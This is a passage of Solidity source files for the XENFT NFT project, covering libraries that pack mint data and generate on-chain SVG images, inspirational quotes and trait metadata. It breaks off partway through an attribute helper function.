"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n 